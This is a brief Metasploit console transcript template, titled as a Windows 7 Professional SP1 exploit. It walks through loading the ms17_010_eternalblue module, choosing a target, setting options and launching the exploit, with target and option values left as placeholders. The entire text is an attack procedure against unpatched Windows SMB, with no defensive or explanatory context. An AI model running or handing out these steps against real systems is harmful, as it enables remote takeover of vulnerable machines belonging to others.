windows 7 professional 7601 service pack 1 exploit
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show targets
...targets...
msf exploit(ms17_010_eternalblue) > set TARGET < target-id >
msf exploit(ms17_010_eternalblue) > show options
...show and set options...
msf exploit(ms17_010_eternalblue) > exploit